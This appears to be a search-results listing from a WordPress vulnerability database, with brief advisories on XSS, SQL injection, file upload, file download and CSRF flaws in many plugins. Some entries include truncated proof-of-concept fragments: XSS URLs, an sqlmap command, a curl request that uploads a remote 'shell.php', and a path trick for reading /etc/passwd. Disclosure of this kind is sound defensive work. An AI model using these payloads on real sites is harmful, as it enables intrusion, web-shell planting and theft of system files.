14629 matches found
rockhoist-badges 1.2.2 - Authenticated Stored Cross-Site Scripting (XSS)
The rockhoist-badges WordPress plugin was affected by an Authenticated Stored Cross-Site Scripting XSS security vulnerability...
Vospari Forms <= 1.3 - Cross-Site Scripting (XSS)
The Vospari Forms WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability...
Simplified Content <= 1.0.0 - XSS
The Simplified Content WordPress plugin was affected by a XSS security vulnerability...
Adblock Blocker 0.0.1 - Arbitrary File Upload
The addblockblocker WordPress plugin was affected by an Arbitrary File Upload security vulnerability...
WP Google Map Plugin < 3.1.2 - XSS
The WP Google Map Plugin WordPress plugin was affected by a XSS security vulnerability...
WordPress 4.5.2 - Password Change via Stolen Cookie
...
safe-editor <= 1.1 - Unauthenticated CSS/JS-injection
When saving JS/CSS in this plugin then both private and public ajax-hooks are being used. Because of this anyone can post JS/CSS that are saved to the db and printed to the head and footer portion of the page. PoC In the file "index.php" in root folder on line 188 and 189 you can see that both...
Hero Maps Pro <= 2.1.0 - Unauthenticated Reflected Cross-Site Scripting (XSS)
The hero-maps-pro WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting XSS security vulnerability. PoC http://www.example.com/wp-content/plugins/hero-maps-pro/views/dashboard/index.php?v=""...
anti-plagiarism <= 3.60 - Unauthenticated Reflected Cross-Site Scripting (XSS)
The anti-plagiarism WordPress plugin was affected by an Unauthenticated Reflected Cross-Site Scripting XSS security vulnerability. PoC http://www.example.com/wp-content/plugins/anti-plagiarism/js.php?m=""...
Cool Video Gallery <= 1.9 - Authenticated Comm& Injection
The Cool Video Gallery WordPress plugin was affected by an Authenticated Comm& Injection security vulnerability...
Users Ultra Membership Plugin <= 1.5.63 - Authenticated Blind SQL Injection
The Users Ultra Membership, Users Community and Member Profiles With PayPal Integration Plugin WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability...
Users Ultra Membership Plugin <= 1.5.62 - Authenticated Stored Cross-Site Scripting (XSS) & CSRF
Both pname and pdesc are vulnerable. No nonce on form so also vulnerable to CSRF. Original researcher's PoC does not work as all parameters are needed to be submitted not just the pname parameter...
Websimon Tables <= 1.3.4 - Authenticated Reflected Cross-Site Scripting (XSS)
The websimon-tables WordPress plugin was affected by an Authenticated Reflected Cross-Site Scripting XSS security vulnerability...
Users Ultra Membership Plugin <= 1.5.58 - Unrestricted File Upload
The Users Ultra Membership, Users Community and Member Profiles With PayPal Integration Plugin WordPress plugin was affected by an Unrestricted File Upload security vulnerability...
wp-championship <= 5.8 - Authenticated Blind SQL Injection
The wp-championship WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability. PoC $ sqlmap -u 'http://www.example.com/wp-admin/wp-championship/csadminusers.php=' --data="isadmin=1" --cookie=AUTHCOOKIEHERE --level=5 --risk=3...
Appointment Booking Calendar < 1.1.8 - Multiple Reflected Cross-Site Scripting (XSS) and SQL Injection
The Appointment Booking Calendar WordPress plugin was affected by a Multiple Reflected Cross-Site Scripting XSS and SQL Injection security vulnerability...
xPinner Lite <= 2.2 - Cross-Site Scripting (XSS) & CSRF
The xpinner-lite WordPress plugin was affected by a Cross-Site Scripting XSS & CSRF security vulnerability...
Csv2WPeC Coupon <= 1.1 - Unauthenticated Remote File Upload
The code in csv2wpecCouponFileUpload.php does not properly sanitize user input, it checks the file mime-type for type x-php but this can be tricked when using the short code for PoC "; $uploadfile="/var/www/s.pht"; $ch =...
Simple Fields <= 1.4.10 - Authenticated Reflected Cross-Site Scripting (XSS)
The Simple Fields WordPress plugin was affected by an Authenticated Reflected Cross-Site Scripting XSS security vulnerability...
Google Analyticator <= 6.4.9.4 - Multiple Cross-Site Scripting (XSS)
The Google Analyticator WordPress plugin was affected by a Multiple Cross-Site Scripting XSS security vulnerability...
MDC Private Message <= 1.0.0 - Authenticated Stored Cross-Site Scripting (XSS)
The mdc-private-message WordPress plugin was affected by an Authenticated Stored Cross-Site Scripting XSS security vulnerability...
Alpine PhotoTile for Instagram <= 1.2.7.5 - Authenticated Cross-Site Scripting (XSS)
The alpine-photo-tile-for-instagram WordPress plugin was affected by an Authenticated Cross-Site Scripting XSS security vulnerability...
WordPress <= 4.2.3 - Legacy Theme Preview Cross-Site Scripting (XSS)
...
WordPress <= 4.2.3 - Widgets Title Cross-Site Scripting (XSS)
...
qTranslate <= 2.5.39 - Cross-Site Scripting (XSS)
The qtranslate WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability...
Email Before Download < 3.4.1 - SQL Injection
Email Before Download https://wordpress.org/plugins/email-before-download/ before version 3.4.1 was vulnerable to several SQL injections...
Candidate Application Form <= 1.3 - Unauthenticated Arbitrary File Download
Plugin is still affected and has been closed. The code in downloadpdffile.php does not do any sanity checks, allowing a remote attacker to download sensitive system files. PoC $ curl...
FileDownload <= 1.4 - Multiple Issues
XSS, Blind SQL Injection and Open Proxy issues...
Fast Image Adder <= 1.1 - Unauthenticated Remote File Upload
The fast-image-adder WordPress plugin was affected by an Unauthenticated Remote File Upload security vulnerability. PoC $ curl http://www.example.com/wp-content/plugins/fast-image-adder/fast-image-adder-uploader.php?confirm=url=http://sitewithshellstodl/shell.php Shell location is reported back t...
WP e-Commerce Shop Styling <= 2.5 - Local File Inclusion
The code in ./wp-ecommerce-shop-styling/includes/download.php does not sanitise user input to prevent sensitive system files from being downloaded. You'll have to rename the download file via mv -- -..-..-..-..-..-..-..-..-etc-passwd passwd as the filename is set to the download filename with pat...
Broken Link Checker <= 1.10.8 - Unauthenticated Stored XSS
Persistent Cross-Site Scripting XSS in wordpress-admin-panel enabled by not proper sanitised HTTP headers...
WP ViperGB < 1.3.16 - XSS
The WP-ViperGB WordPress plugin was affected by a XSS security vulnerability...
Estrutura-Basica - Local File Download
The estrutura-basica WordPress theme was affected by a Local File Download security vulnerability...
Updraftplus < 1.9.64 - XSS
The UpdraftPlus WordPress Backup Plugin WordPress plugin was affected by a XSS security vulnerability...
Contact Form Plugin < 3.96 - XSS
The Contact Form by BestWebSoft WordPress plugin was affected by a XSS security vulnerability...
All in One SEO Pack <= 2.2.5.1 - Information Disclosure
The Semper Fi All in One SEO Pack plugin before 2.2.6 for WordPress does not consider the presence of password protection during generation of the Meta Description field, which allows remote attackers to obtain sensitive information by reading HTML source code...
Captcha <= 4.0.6 - Captcha Bypass
The captcha WordPress plugin was affected by a Captcha Bypass security vulnerability...
Facebook (spider-facebook) <= 1.0.10 - Cross-Site Scripting (XSS)
The WDSocialWidgets WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability...
EasyCart <= 3.0.15 - Unrestricted File Upload
In versions = 3.0.8 this can be exploited by authenticating as any WordPress user, and in versions 3.0.9 - 3.0.15 can be exploited by passing a valid password hash being used by any admin in the EasyCart user system...
Frontend Uploader <= 0.9.2 - Unauthenticated Cross-Site Scripting (XSS)
The Frontend Uploader WordPress plugin was affected by an Unauthenticated Cross-Site Scripting XSS security vulnerability. PoC http://localhost:8080/?pageid=0&fu-disallowed-mime-type0name=%3CSCRIPT%20SRC=http://ha.ckers.org/xss.js?%3C%20B%20%3E...
Tweetscribe <= 1.1 - Multiple CSRF
Plugin is still affected and has been closed...
Cardoza Facebook Like Box < 2.8.3 - Multiple CSRF
The Easy Social Like Box – Popup – Sidebar Widget WordPress plugin was affected by a Multiple CSRF security vulnerability...
Simple Ip Ban <= 1.2.3 - Multiple CSRF
The IP Ban WordPress plugin was affected by a Multiple CSRF security vulnerability...
Paid Memberships Pro 1.7.14.2 - Path Traversal
The Paid Memberships Pro WordPress plugin was affected by a Path Traversal security vulnerability...
Gr& Flagallery <= 4.24 - Full Path Disclosure
The Album and Image Gallery with Lightbox – Flagallery Photo Portfolio WordPress plugin was affected by a Full Path Disclosure security vulnerability...
Contact Form Integrated With Google Maps 1.0-2.4 - Stored Cross-Site Scripting (XSS)
The Contact Form Integrated With Google Maps WordPress plugin was affected by a Stored Cross-Site Scripting XSS security vulnerability...
Contact Form DB 2.8.13 - 2 x Cross-Site Scripting (XSS)
The contact-form-7-to-database-extension WordPress plugin was affected by a 2 x Cross-Site Scripting XSS security vulnerability...
SI CAPTCHA 2.7.4 - Cross-Site Scripting (XSS)
The si-captcha-for-wordpress WordPress plugin was affected by a Cross-Site Scripting XSS security vulnerability...